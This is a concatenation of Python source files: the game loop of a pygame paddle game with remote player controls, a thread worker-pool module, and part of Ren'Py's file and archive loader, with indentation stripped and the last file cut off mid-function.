right_y = HEIGHT - PADDLE_THICKNESS
ball.x = WIDTH/4
leftPaddle.set_xy(left_x, left_y)
rightPaddle.set_xy(right_x, right_y)
ball.y = HEIGHT/4 * 3 - PADDLE_THICKNESS - 2 * BALL_RADIUS
ball_angle = np.random.uniform(-25, 25)
ball_velocity = BALL_INIT_SPEED
ball_vector = rotation_matrix(ball_angle) @ np.array([0, -BALL_INIT_SPEED*1.5])
##
# Game loop
#
frame_cnt = 0
diff_cnt = 0
billboard_cnt = 0
text = ''
left_cmd = ''
left_pwr = 0
right_cmd = ''
right_pwr = 0
trmp_line = [-rescale_trump, 0, WIDTH, 0]
trmp_delta = 0
trmp_img = 0
trmp_visit = False
if not remote_mode:
left_player['name'] = 'left'
right_player['name'] = 'right'
while current_mode == MODE_PLAY:
##
# Draw arena, score and player turn color
#
screen.fill(WHITE)
pygame.draw.line(screen, RED, [0, HEIGHT/2], [WIDTH, HEIGHT/2], 2)
pygame.draw.line(screen, RED, [WIDTH/2, HEIGHT/2], [WIDTH/2, HEIGHT], 2)
pygame.draw.rect(screen, RED, (0, HEIGHT/2, WIDTH/4, HEIGHT/4), 2)
pygame.draw.rect(screen, RED, (WIDTH/4 * 3 - 1, HEIGHT/2, WIDTH/4, HEIGHT/4), 2)
if playerTurn == LEFT_PLAYER:
pygame.draw.line(screen, leftPaddle.color, [int(WIDTH/16*2), 28], [int(WIDTH/16*6), 28], 3)
else:
pygame.draw.line(screen, rightPaddle.color, [int(WIDTH/16*10), 28], [int(WIDTH/16*14), 28], 3)
score_text = FONT.render("{}:{}".format(str(left_player['score']), str(right_player['score'])), 1, GRAY)
left_name_text = FONT.render(left_player['name'][:10], 1, leftPaddle.color)
right_name_text = FONT.render(right_player['name'][:10], 1, rightPaddle.color)
screen.blit(score_text, score_text.get_rect(centerx=WIDTH / 2))
screen.blit(left_name_text, left_name_text.get_rect(centerx=WIDTH / 4))
screen.blit(right_name_text, right_name_text.get_rect(centerx=WIDTH / 4*3))
if trmp_visit:
trmp_visit = False
trmp_line[1] = np.random.uniform(0, HEIGHT)
trmp_line[3] = np.random.uniform(0, HEIGHT)
trmp_img = int(np.random.uniform(0, n_trumps))
trmp_delta = frame_cnt
x = frame_cnt - trmp_delta - rescale_trump
if (x > -rescale_trump and x < WIDTH) and frame_cnt > HEIGHT:
y = (trmp_line[3] - trmp_line[1]) / (trmp_line[2] - trmp_line[0]) * (x - trmp_line[0]) + trmp_line[1]
screen.blit(trump_heads[trmp_img], [x, y])
if text == '':
try:
text = billboard_q.get_nowait()
billboard_cnt = frame_cnt
except queue.Empty:
pass
if frame_cnt < billboard_cnt+BILLBOARD_TEXT_VISIBLE:
billboard_text = FONT.render(text, 1, RED)
screen.blit(billboard_text, (billboard_text.get_rect(centerx=WIDTH / 2)[0], HEIGHT/4))
else:
text = ''
frame_cnt += 1
##
# Handle keyboard
for event in pygame.event.get():
if event.type == pygame.QUIT:
current_mode = MODE_QUIT
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_q:
current_mode = MODE_QUIT
elif event.key == pygame.K_m:
muted = not muted
elif event.key == pygame.K_k:
left_player['ip'] = ''
left_player['name'] = ''
left_player['code'] = ''
left_player['score'] = 0
right_player = left_player.copy()
if (left_player['name'] == '' or right_player['name'] == ''):
wait_text = "Waiting for players..."
billboard_text = FONT.render(wait_text, 1, RED)
screen.blit(billboard_text, (billboard_text.get_rect(centerx=WIDTH / 2)[0], HEIGHT/5))
pygame.display.update()
clock.tick(FRAME_RATE)
if frame_cnt % 5 == 0:
with frame_mutex:
frame = pygame.surfarray.array3d(screen).swapaxes(0, 1)
continue
if remote_mode:
left_client_req = None
try:
left_client_req = left_ctrl_q.get_nowait()
except queue.Empty:
pass
if left_client_req is not None:
left_cmd = left_client_req['direction']
left_pwr = 0
if isinstance(left_client_req['speed'], float):
if 0 <= left_client_req['speed'] <= MAX_PADDLE_POWER:
left_pwr = float(left_client_req['speed'])
if left_cmd == 'up_left':
leftPaddle.move(-PADDLE_SPEED * left_pwr, -PADDLE_SPEED * left_pwr)
elif left_cmd == 'up_right':
leftPaddle.move(PADDLE_SPEED * left_pwr, -PADDLE_SPEED * left_pwr)
elif left_cmd == 'down_left':
leftPaddle.move(-PADDLE_SPEED * left_pwr, PADDLE_SPEED * left_pwr)
elif left_cmd == 'down_right':
leftPaddle.move(PADDLE_SPEED * left_pwr, PADDLE_SPEED * left_pwr)
elif left_cmd == 'up':
leftPaddle.move(0, -PADDLE_SPEED * left_pwr)
elif left_cmd == 'down':
leftPaddle.move(0, PADDLE_SPEED * left_pwr)
elif left_cmd == 'left':
leftPaddle.move(-PADDLE_SPEED * left_pwr, 0)
elif left_cmd == 'right':
leftPaddle.move(PADDLE_SPEED * left_pwr, 0)
right_client_req = None
try:
right_client_req = right_ctrl_q.get_nowait()
except queue.Empty:
pass
if right_client_req is not None:
right_cmd = right_client_req['direction']
right_pwr = 0
if isinstance(right_client_req['speed'], float):
if 0 <= right_client_req['speed'] <= MAX_PADDLE_POWER:
right_pwr = float(right_client_req['speed'])
if right_cmd == 'up_left':
rightPaddle.move(-PADDLE_SPEED * right_pwr, -PADDLE_SPEED * right_pwr)
elif right_cmd == 'up_right':
rightPaddle.move(PADDLE_SPEED * right_pwr, -PADDLE_SPEED * right_pwr)
elif right_cmd == 'down_left':
rightPaddle.move(-PADDLE_SPEED * right_pwr, PADDLE_SPEED * right_pwr)
elif right_cmd == 'down_right':
rightPaddle.move(PADDLE_SPEED * right_pwr, PADDLE_SPEED * right_pwr)
elif right_cmd == 'up':
rightPaddle.move(0, -PADDLE_SPEED * right_pwr)
elif right_cmd == 'down':
rightPaddle.move(0, PADDLE_SPEED * right_pwr)
elif right_cmd == 'left':
rightPaddle.move(-PADDLE_SPEED * right_pwr, 0)
elif right_cmd == 'right':
rightPaddle.move(PADDLE_SPEED * right_pwr, 0)
else:
keysPressed = pygame.key.get_pressed()
if keysPressed[pygame.K_UP] and keysPressed[pygame.K_LEFT]:
rightPaddle.move(-PADDLE_SPEED, -PADDLE_SPEED)
elif keysPressed[pygame.K_UP] and keysPressed[pygame.K_RIGHT]:
rightPaddle.move(PADDLE_SPEED, -PADDLE_SPEED)
elif keysPressed[pygame.K_DOWN] and keysPressed[pygame.K_LEFT]:
rightPaddle.move(-PADDLE_SPEED, PADDLE_SPEED)
elif keysPressed[pygame.K_DOWN] and keysPressed[pygame.K_RIGHT]:
rightPaddle.move(PADDLE_SPEED, PADDLE_SPEED)
elif keysPressed[pygame.K_UP]:
rightPaddle.move(0, -PADDLE_SPEED)
elif keysPressed[pygame.K_DOWN]:
rightPaddle.move(0, PADDLE_SPEED)
elif keysPressed[pygame.K_LEFT]:
rightPaddle.move(-PADDLE_SPEED, 0)
elif keysPressed[pygame.K_RIGHT]:
rightPaddle.move(PADDLE_SPEED, 0)
if keysPressed[pygame.K_w] and keysPressed[pygame.K_a]:
leftPaddle.move(-PADDLE_SPEED, -PADDLE_SPEED)
elif keysPressed[pygame.K_w] and keysPressed[pygame.K_d]:
leftPaddle.move(PADDLE_SPEED, -PADDLE_SPEED)
elif keysPressed[pygame.K_s] and keysPressed[pygame.K_a]:
leftPaddle.move(-PADDLE_SPEED, PADDLE_SPEED)
elif keysPressed[pygame.K_s] and keysPressed[pygame.K_d]:
leftPaddle.move(PADDLE_SPEED, PADDLE_SPEED)
elif keysPressed[pygame.K_w]:
leftPaddle.move(0, -PADDLE_SPEED)
elif keysPressed[pygame.K_s]:
leftPaddle.move(0, PADDLE_SPEED)
elif keysPressed[pygame.K_a]:
leftPaddle.move(-PADDLE_SPEED, 0)
elif keysPressed[pygame.K_d]:
leftPaddle.move(PADDLE_SPEED, 0)
##
# Increase difficulty
#
diff_cnt += 1
if diff_cnt % (FRAME_RATE*60) == 0:
paddle_size = paddle_size*0.8
leftPaddle.change_width(paddle_size)
rightPaddle.change_width(paddle_size)
try:
billboard_q.put_nowait("Paddle size: -20%")
except queue.Full:
pass
if diff_cnt % (FRAME_RATE * 30) == 0:
BALL_INIT_SPEED *= 1.1
try:
billboard_q.put_nowait("Ball velocity: +10%")
except queue.Full:
pass
if diff_cnt % (FRAME_RATE * 42) == 0:
PROB_TRUMP *= 1.2
try:
billboard_q.put_nowait("Trump visit: +20%")
except queue.Full:
pass
if diff_cnt % (FRAME_RATE * 10) == 0:
# A visit form Donald J. Trump? :)
if np.random.random(1) < PROB_TRUMP:
trmp_visit = True
##
# Move ball and update scores
#
if ball.y > HEIGHT:
if not muted:
LOSE_SOUND.play()
if playerTurn == RIGHT_PLAYER:
left_player['score'] += 1
try:
billboard_q.put_nowait("{} +1".format(right_player['name']))
except queue.Full:
pass
playerTurn = LEFT_PLAYER
elif playerTurn == LEFT_PLAYER:
right_player['score'] += 1
try:
billboard_q.put_nowait("{} +1".format(left_player['name']))
except queue.Full:
pass
playerTurn = RIGHT_PLAYER
reset_game(playerTurn)
pygame.time.delay(LOSE_DELAY)
elif ball.y < 0:
ball_angle = 180 - ball_angle + np.random.uniform(-BALL_RANDOM_BOUNCE, BALL_RANDOM_BOUNCE)
ball_velocity *= (1.0 - BALL_BOUNCE_DECAY)
ball_vector = rotation_matrix(ball_angle) @ np.array([0, -ball_velocity])
ball.y = 5
if ball.x > WIDTH:
ball_angle = 360 - ball_angle + np.random.uniform(-BALL_RANDOM_BOUNCE, BALL_RANDOM_BOUNCE)
ball_velocity *= (1.0 - BALL_BOUNCE_DECAY)
ball_vector = rotation_matrix(ball_angle) @ np.array([0, -ball_velocity])
ball.x = WIDTH - 5
elif ball.x < 0:
ball_angle = 360 - ball_angle + np.random.uniform(-BALL_RANDOM_BOUNCE, BALL_RANDOM_BOUNCE)
ball_velocity *= (1.0 - BALL_BOUNCE_DECAY)
ball_vector = rotation_matrix(ball_angle) @ np.array([0, -ball_velocity])
ball.x = 5
ball_vector = ball_vector*(1.0 - BALL_DECAY_RATE)
ball_velocity = np.linalg.norm(ball_vector)
ball.y = ball.y + ball_vector[1]
ball.x = ball.x + ball_vector[0]
if ball_velocity < 0.5:
pygame.time.delay(LOSE_DELAY)
if ball.rect.center[1] < HEIGHT/2:
if playerTurn is not LEFT_PLAYER:
right_player['score'] += 1
elif playerTurn is not RIGHT_PLAYER:
left_player['score'] += 1
reset_game(playerTurn)
elif ball.rect.center[1] >= HEIGHT/2:
if playerTurn is LEFT_PLAYER:
right_player['score'] += 1
elif playerTurn is RIGHT_PLAYER:
left_player['score'] += 1
reset_game(playerTurn)
##
# Bounce ball off paddles and paddles off each other
#
if leftPaddle.rect.colliderect(ball.rect):
if ball.rect.top > leftPaddle.rect.top and ball_vector[1] < 0:
try:
billboard_q.put_nowait("{} blocked!".format(left_player['name']))
except queue.Full:
pass
if not muted:
FAIL_SOUND.play()
pygame.time.delay(LOSE_DELAY)
right_player['score'] += 1
playerTurn = LEFT_PLAYER
reset_game(playerTurn)
elif playerTurn == RIGHT_PLAYER:
if not muted:
FAIL_SOUND.play()
pygame.time.delay(LOSE_DELAY)
right_player['score'] += 1
try:
billboard_q.put_nowait("{} +1".format(right_player['name']))
except queue.Full:
pass
playerTurn = LEFT_PLAYER
reset_game(playerTurn)
else:
ball.y = leftPaddle.rect.top - BALL_RADIUS*4
ball_angle = 180 - ball_angle + (ball.x - leftPaddle.rect.center[0])/(paddle_size/2)*BALL_PADLE_MAX_BOUNCE
ball_velocity = BALL_INIT_SPEED + leftPaddle.y_velocity*np.random.uniform(0.8, 1.2)
ball_vector = rotation_matrix(ball_angle) @ np.array([0, -ball_velocity])
playerTurn = RIGHT_PLAYER
if not muted:
LEFT_SOUND.play()
elif rightPaddle.rect.colliderect(ball.rect):
if ball.rect.top > rightPaddle.rect.top and ball_vector[1] < 0:
try:
billboard_q.put_nowait("{} blocked!".format(right_player['name']))
except queue.Full:
pass
if not muted:
FAIL_SOUND.play()
pygame.time.delay(LOSE_DELAY)
left_player['score'] += 1
playerTurn = RIGHT_PLAYER
reset_game(playerTurn)
elif playerTurn == LEFT_PLAYER:
if not muted:
FAIL_SOUND.play()
pygame.time.delay(LOSE_DELAY)
left_player['score'] += 1
try:
billboard_q.put_nowait("{} +1".format(left_player['name']))
except queue.Full:
pass
playerTurn = RIGHT_PLAYER
reset_game(playerTurn)
else:
ball.y = rightPaddle.rect.top - BALL_RADIUS*4
ball_angle = 180 - ball_angle + (ball.x - rightPaddle.rect.center[0])/(paddle_size/2)*BALL_PADLE_MAX_BOUNCE
ball_velocity = BALL_INIT_SPEED + rightPaddle.y_velocity*np.random.uniform(0.8, 1.2)
ball_vector = rotation_matrix(ball_angle) @ np.array([0, -ball_velocity])
playerTurn = LEFT_PLAYER
if not muted:
RIGHT_SOUND.play()
if leftPaddle.rect.colliderect(rightPaddle):
if is_toright(leftPaddle.rect.center, rightPaddle.rect.center):
rightPaddle.move(BUDGE, 0)
leftPaddle.move(-BUDGE, 0)
if is_toleft(leftPaddle.rect.center, rightPaddle.rect.center):
rightPaddle.move(-BUDGE, 0)
leftPaddle.move(BUDGE, 0)
if is_above(leftPaddle.rect.center, rightPaddle.rect.center):
rightPaddle.move(0, -BUDGE)
leftPaddle.move(0, BUDGE)
if is_under(leftPaddle.rect.center, rightPaddle.rect.center):
rightPaddle.move(0, BUDGE)
leftPaddle.move(0, -BUDGE)
##
# Draw paddles and ball
#
spriteGroup.draw(screen)
spriteGroup.update()
##
# Tick-tock
#
if frame_cnt % 5 == 0:
with frame_mutex:
frame = pygame.surfarray.array3d(screen).swapaxes(0, 1)
pygame.display.update()
clock.tick(FRAME_RATE)
if (left_player['score'] >= 10 or right_player['score'] >= 10):
if abs(left_player['score'] - right_player['score']) > 1:
if left_player['score'] > right_player['score']:
print("{} won! {} - {}".format(left_player['name'], left_player['score'], right_player['score']))
else:
print("{} won! {} - {}".format(right_player['name'], left_player['score'], right_player['score']))
pygame.time.delay(LOSE_DELAY)
pygame.quit()
|
workerpool.py | """Worker pool module."""
import logging
from threading import Thread, Event
from six.moves import queue
class WorkerPool(object):
"""Worker pool class to implement single producer/multiple consumer."""
def __init__(self, worker_count, worker_func):
"""
Class constructor.
:param worker_count: Number of workers for the pool.
:type worker_func: Function to be executed by the workers whenever a messages is fetched.
"""
self._logger = logging.getLogger(self.__class__.__name__)
self._incoming = queue.Queue()
self._should_be_working = [True for _ in range(0, worker_count)]
self._worker_events = [Event() for _ in range(0, worker_count)]
self._threads = [
Thread(target=self._wrapper, args=(i, worker_func))
for i in range(0, worker_count)
]
for thread in self._threads:
thread.setDaemon(True)
def start(self):
"""Start the workers."""
for thread in self._threads:
thread.start()
def _safe_run(self, func, message):
"""
Execute the user funcion for a given message without raising exceptions.
:param func: User defined function.
:type func: callable
:param message: Message fetched from the queue.
:param message: object
:return True if no everything goes well. False otherwise.
:rtype bool
"""
try:
func(message)
return True
except Exception: #pylint: disable=broad-except
self._logger.error("Something went wrong when processing message %s", message)
self._logger.debug('Original traceback: ', exc_info=True)
return False
def _wrapper(self, worker_number, func):
"""
Fetch message, execute tasks, and acknowledge results.
:param worker_number: # (id) of worker whose function will be executed.
:type worker_number: int
:param func: User defined function.
:type func: callable.
"""
while self._should_be_working[worker_number]:
try:
message = self._incoming.get(True, 0.5)
# For some reason message can be None in python2 implementation of queue.
# This method must be both ignored and acknowledged with .task_done()
# otherwise .join() will halt.
if message is None:
self._incoming.task_done()
continue
# If the task is successfully executed, the ack is done AFTERWARDS,
# to avoid race conditions on SDK initialization.
ok = self._safe_run(func, message) #pylint: disable=invalid-name
self._incoming.task_done()
if not ok:
self._logger.error(
("Something went wrong during the execution, "
"removing message \"%s\" from queue."),
message
)
except queue.Empty:
# No message was fetched, just keep waiting.
pass
# Set my flag indicating that i have finished
self._worker_events[worker_number].set()
def submit_work(self, message):
"""
Add a new message to the work-queue.
:param message: New message to add.
:type message: object.
"""
self._incoming.put(message)
def wait_for_completion(self):
"""Block until the work queue is empty."""
self._incoming.join()
def stop(self, event=None):
"""Stop all worker nodes."""
async_stop = Thread(target=self._wait_workers_shutdown, args=(event,))
async_stop.setDaemon(True)
async_stop.start()
def _wait_workers_shutdown(self, event):
"""
Wait until all workers have finished, and set the event.
:param event: Event to set as soon as all the workers have shut down.
:type event: threading.Event
"""
self.wait_for_completion()
for index, _ in enumerate(self._should_be_working):
self._should_be_working[index] = False
if event is not None:
for worker_event in self._worker_events:
worker_event.wait()
event.set()
|
loader.py | # Copyright 2004-2019 Tom Rothamel <pytom@bishoujo.us>
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
from __future__ import print_function
import renpy
import os.path
from pickle import loads
from cStringIO import StringIO
import sys
import types
import threading
import zlib
import re
# Ensure the utf-8 codec is loaded, to prevent recursion when we use it
# to look up filenames.
u"".encode("utf-8")
# Physical Paths
def get_path(fn):
"""
Returns the path to `fn` relative to the gamedir. If any of the directories
leading to `fn` do not exist, tries to create them.
This always returns a path, but the path may or may not be writable.
"""
fn = os.path.join(renpy.config.gamedir, fn)
dn = os.path.dirname(fn)
try:
if not os.path.exists(dn):
os.makedirs(dn)
except:
pass
return fn
# Asset Loading
try:
import android.apk
expansion = os.environ.get("ANDROID_EXPANSION", None)
if expansion is not None:
print("Using expansion file", expansion)
apks = [
android.apk.APK(apk=expansion, prefix='assets/x-game/'),
android.apk.APK(apk=expansion, prefix='assets/x-renpy/x-common/'),
]
game_apks = [ apks[0] ]
else:
print("Not using expansion file.")
apks = [
android.apk.APK(prefix='assets/x-game/'),
android.apk.APK(prefix='assets/x-renpy/x-common/'),
]
game_apks = [ apks[0] ]
except ImportError:
apks = [ ]
game_apks = [ ]
# Files on disk should be checked before archives. Otherwise, among
# other things, using a new version of bytecode.rpyb will break.
archives = [ ]
# The value of renpy.config.archives the last time index_archives was
# run.
old_config_archives = None
# A map from lower-case filename to regular-case filename.
lower_map = { }
def index_archives():
"""
Loads in the indexes for the archive files. Also updates the lower_map.
"""
# Index the archives.
global old_config_archives
if old_config_archives == renpy.config.archives:
return
old_config_archives = renpy.config.archives[:]
# Update lower_map.
lower_map.clear()
cleardirfiles()
global archives
archives = [ ]
for prefix in renpy.config.archives:
try:
fn = transfn(prefix + ".rpa")
f = file(fn, "rb")
l = f.readline()
# 3.0 Branch.
if l.startswith("RPA-3.0 "):
offset = int(l[8:24], 16)
key = int(l[25:33], 16)
f.seek(offset)
index = loads(f.read().decode("zlib"))
# Deobfuscate the index.
for k in index.keys():
if len(index[k][0]) == 2:
index[k] = [ (offset ^ key, dlen ^ key) for offset, dlen in index[k] ]
else:
index[k] = [ (offset ^ key, dlen ^ key, start) for offset, dlen, start in index[k] ]
archives.append((prefix, index))
f.close()
continue
# 2.0 Branch.
if l.startswith("RPA-2.0 "):
offset = int(l[8:], 16)
f.seek(offset)
index = loads(f.read().decode("zlib"))
archives.append((prefix, index))
f.close()
continue
# 1.0 Branch.
f.close()
fn = transfn(prefix + ".rpi")
index = loads(file(fn, "rb").read().decode("zlib"))
archives.append((prefix, index))
except:
raise
for dir, fn in listdirfiles(): # @ReservedAssignment
lower_map[fn.lower()] = fn
def walkdir(dir): # @ReservedAssignment
rv = [ ]
if not os.path.exists(dir) and not renpy.config.developer:
return rv
for i in os.listdir(dir):
if i[0] == ".":
continue
try:
i = renpy.exports.fsdecode(i)
except:
continue
if os.path.isdir(dir + "/" + i):
for fn in walkdir(dir + "/" + i):
rv.append(i + "/" + fn)
else:
rv.append(i)
return rv
# A list of files that make up the game.
game_files = [ ]
# A list of files that are in the common directory.
common_files = [ ]
# A map from filename to if the file is loadable.
loadable_cache = { }
def cleardirfiles():
"""
Clears the lists above when the game has changed.
"""
global game_files
global common_files
game_files = [ ]
common_files = [ ]
def scandirfiles():
"""
Scans directories, archives, and apks and fills out game_files and
common_files.
"""
seen = set()
def add(dn, fn):
if fn in seen:
return
if fn.startswith("cache/"):
return
if fn.startswith("saves/"):
return
files.append((dn, fn))
seen.add(fn)
loadable_cache[fn.lower()] = True
for apk in apks:
if apk not in game_apks:
files = common_files # @UnusedVariable
else:
files = game_files # @UnusedVariable
for f in apk.list():
# Strip off the "x-" in front of each filename, which is there
# to ensure that aapt actually includes every file.
f = "/".join(i[2:] for i in f.split("/"))
add(None, f)
for i in renpy.config.searchpath:
if (renpy.config.commondir) and (i == renpy.config.commondir):
files = common_files # @UnusedVariable
else:
files = game_files # @UnusedVariable
i = os.path.join(renpy.config.basedir, i)
for j in walkdir(i):
add(i, j)
files = game_files
for _prefix, index in archives:
for j in index.iterkeys():
add(None, j)
def listdirfiles(common=True):
"""
Returns a list of directory, file tuples known to the system. If
the file is in an archive, the directory is None.
"""
if (not game_files) and (not common_files):
scandirfiles()
if common:
return game_files + common_files
else:
return list(game_files)
class SubFile(object):
def __init__(self, fn, base, length, start):
self.fn = fn
self.f = None
self.base = base
self.offset = 0
self.length = length
self.start = start
if not self.start:
self.name = fn
else:
self.name = None
def open(self):
self.f = open(self.fn, "rb")
self.f.seek(self.base)
def __enter__(self):
return self
def __exit__(self, _type, value, tb):
self.close()
return False
def read(self, length=None):
if self.f is None:
self.open()
maxlength = self.length - self.offset
if length is not None:
length = min(length, maxlength)
else:
length = maxlength
rv1 = self.start[self.offset:self.offset + length]
length -= len(rv1)
self.offset += len(rv1)
if length:
rv2 = self.f.read(length)
self.offset += len(rv2)
else:
rv2 = ""
return (rv1 + rv2)
def readline(self, length=None):
if self.f is None:
self.open()
maxlength = self.length - self.offset
if length is not None:
length = min(length, maxlength)
else:
length = maxlength
# If we're in the start, then read the line ourselves.
if self.offset < len(self.start):
rv = ''
while length:
c = self.read(1)
rv += c
if c == '\n':
break
length -= 1
return rv
# Otherwise, let the system read the line all at once.
rv = self.f.readline(length)
self.offset += len(rv)
return rv
def readlines(self, length=None):
rv = [ ]
while True:
l = self.readline(length)
if not l:
break
if length is not None:
length -= len(l)
if l < 0:
break
rv.append(l)
return rv
def xreadlines(self):
return self
def __iter__(self):
return self
def next(self): # @ReservedAssignment
rv = self.readline()
if not rv:
raise StopIteration()
return rv
def flush(self):
return
def seek(self, offset, whence=0):
if self.f is None:
self.open()
if whence == 0:
offset = offset
elif whence == 1:
offset = self.offset + offset
elif whence == 2:
offset = self.length + offset
if offset > self.length:
offset = self.length
self.offset = offset
offset = offset - len(self.start)
if offset < 0:
offset = 0
self.f.seek(offset + self.base)
def tell(self):
return self.offset
def close(self):
if self.f is not None:
self.f.close()
self.f = None
def write(self, s):
raise Exception("Write not supported by SubFile")
open_file = open
if "RENPY_FORCE_SUBFILE" in os.environ:
def open_file(name, mode):
f = open(name, mode)
f.seek(0, 2)
length = f.tell()
f.seek(0, 0)
return SubFile(f, 0, length, '')
def load_core(name):
"""
Returns an open python file object of the given type.
"""
name = lower_map.get(name.lower(), name)
if renpy.config.file_open_callback:
rv = renpy.config.file_open_callback(name)
if rv is not None:
return rv
# Look for the file directly.
if not renpy.config.force_archives:
try:
fn = transfn(name)
return open_file(fn, "rb")
except:
pass
# Look for the file in the apk.
for apk in apks:
prefixed_name = "/".join("x-" + i for i in name.split("/"))
try:
return apk.open(prefixed_name)
except IOError:
pass
# Look for it in archive files.
for prefix, index in archives:
if not name in index:
continue
afn = transfn(prefix + ".rpa")
data = [ ]
# Direct path.
if len(index[name]) == 1:
t = index[name][0]
if len(t) == 2:
offset, dlen = t
start = ''
else:
offset, dlen, start = t
rv = SubFile(afn, offset, dlen, start)
# Compatibility path.
else:
f = file(afn, "rb")
for offset, dlen in index[name]:
f.seek(offset)
data.append(f.read(dlen))
rv = StringIO(''.join(data))
f.close()
return rv
return None
def check_name(name):
"""
Checks the name to see if it violates any of Ren'Py's rules.
"""
if renpy.config.reject_backslash and "\\" in name:
raise Exception("Backslash in filename, use '/' instead: %r" % name)
if renpy.config.reject_relative:
split = name.split("/")
if ("." in split) or (".." in split):
raise Exception("Filenames may not contain relative directories like '.' and '..': %r" % name)
def get_prefixes(tl=True):
"""
Returns a list of prefixes to search for files.
"""
rv = [ ]
if tl:
language = renpy.game.preferences.language # @UndefinedVariable
else:
language = None
for prefix in renpy.config.search_prefixes:
if language is not None:
rv.append(renpy.config.tl_directory + "/" + language + "/" + prefix)
rv.append(prefix)
return rv
def load(name, tl=True):
if renpy.display.predict.predicting: # @UndefinedVariable
if threading.current_thread().name == "MainThread":
raise Exception("Refusing to open {} while predicting.".format(name))
if renpy.config.reject_backslash and "\\" in name:
raise Exception("Backslash in filename, use '/' instead: %r" % name)
name = re.sub(r'/+', '/', name).lstrip('/')
for p in get_prefixes(tl):
rv = load_core(p + name)
if rv is not None:
return rv
raise IOError("Couldn't find file '%s'." % name)
def loadable_core(name):
"""
Returns True if the name is loadable with load, False if it is not.
"""
name = lower_map.get(name.lower(), name)
if name in loadable_cache:
return loadable_cache[name]
try:
transfn(name)
loadable_cache[name] = True
return True
except:
pass
for apk in apks:
prefixed_name = "/".join("x-" + i for i in name.split("/"))
if prefixed_name in apk.info:
loadable_cache[name] = True
return True
for _prefix, index in archives:
if name in index:
loadable_cache[name] = True
return True
loadable_cache[name] = False
return False
def loadable(name):
name = name.lstrip('/')
if (renpy.config.loadable_callback is not None) and renpy.config.loadable_callback(name):
return True
for p in get_prefixes():
if loadable_core(p + name):
return True
return False
def transfn(name):
"""
Tries to translate the name to a file that exists in one of the
searched directories.
"""
name = name.lstrip('/')
if renpy.config.reject_backslash and "\\" in name:
raise Exception("Backslash in filename, use '/' instead: %r" % name)
name = lower_map.get(name.lower(), name)
if isinstance(name, str):
name = name.decode("utf-8")
for d in renpy.config.searchpath:
fn = os.path.join(renpy.config.basedir, d, name)
add_auto(fn)
if os.path.exists(fn):
return fn
raise Exception("Couldn't find file '%s'." % name)
hash_cache = dict()
def get_hash(name):
"""
Returns the time the file m was last modified, or 0 if it
doesn't exist or is archived.
"""
rv = hash_cache.get(name, None)
if rv is not None:
return rv
rv = 0
try:
f = load(name)
while True:
data = f.read(1024 * 1024)
if not data:
break
rv = zlib.adler32(data, rv)
except:
pass
hash_cache[name] = rv
return rv
# Module Loading
class RenpyImporter(object):
"""
An importer, that tries to load modules from the places where Ren'Py
searches for data files.
"""
def __init__(self, prefix=""):
self.prefix = prefix
def translate(self, fullname, prefix=None):
if prefix is None:
prefix = self.prefix
try:
fn = (prefix + fullname.replace(".", "/")).decode("utf8")
except:
# raise Exception("Could importer-translate %r + %r" % (prefix, fullname))
return None
if loadable(fn + ".py"):
return fn + ".py"
if loadable(fn + "/__init__.py"):
return fn + "/__init__.py"
return None
def find_module(self, fullname, path=None):
if path is not None:
for i in path:
if self.translate(fullname, i):
return RenpyImporter(i)
if self.translate(fullname):
return self
def load_module(self, fullname):
filename = self.translate(fullname, self.prefix)
mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
mod.__name__ = fullname
mod.__file__ = filename
mod.__loader__ = self
if filename.endswith("__init__.py"):
mod.__path__ = [ filename[:-len("__init__.py")] ]
source = load(filename).read().decode("utf8")
if source and source[0] == u'\ufeff':
source = source[1:]
source = source.encode("raw_unicode_escape")
source = source.replace("\r", "")
code = compile(source, filename, 'exec', renpy.python.old_compile_flags, 1)
exec code in mod.__dict__
return mod
def get_data(self, filename):
return load(filename).read()
meta_backup = [ ]
def add_python_directory(path):
"""
:doc: other
Adds `path` to the list of paths searched for Python modules and packages.
The path should be a string relative to the game directory. This must be
called before an import statement.
"""
if path and not path.endswith("/"):
path = path + "/"
sys.meta_path.insert(0, RenpyImporter(path))
def init_importer():
meta_backup[:] = sys.meta_path
add_python_directory("python-packages/")
add_python_directory("")
def quit_importer():
sys.meta_path[:] = meta_backup
# Auto-Reload
# This is set to True if autoreload has detected an autoreload is needed.
needs_autoreload = False
# A map from filename to mtime, or None if the file doesn't exist.
auto_mtimes = { }
# The thread used for autoreload.
auto_thread = None
# True if auto_thread should run. False if it should quit.
auto_quit_flag = True
# The lock used by auto_thread.
auto_lock = threading.Condition()
# Used to indicate that this file is blacklisted.
auto_blacklisted = renpy.object.Sentinel("auto_blacklisted")
def auto_mtime(fn):
"""
Gets the mtime of fn, or None if the file does not exist.
"""
try:
return os.path.getmtime(fn)
except:
return None
def add_auto(fn, force=False):
"""
Adds fn as a file we watch for changes. If it's mtime changes or the file
starts/stops existing, we trigger a reload.
"""
fn = fn.replace("\\", "/")
if not renpy.autoreload:
return
if (fn in auto_mtimes) and (not force):
return
for e in renpy.config.autoreload_blacklist:
if fn.endswith(e):
with auto_lock:
auto_mtimes[fn] = auto_blacklisted
return
mtime = auto_mtime(fn)
with auto_lock:
auto_mtimes[fn] = mtime
def auto_thread_function():
"""
This thread sets need_autoreload when necessary.
"""
global needs_autoreload
while True:
with auto_lock:
auto_lock.wait(1.5)
if auto_quit_flag:
return
items = auto_mtimes.items()
for fn, mtime in items:
if mtime is auto_blacklisted:
continue
if auto_mtime(fn) != mtime:
with auto_lock:
if auto_mtime(fn) != auto_mtimes[fn]:
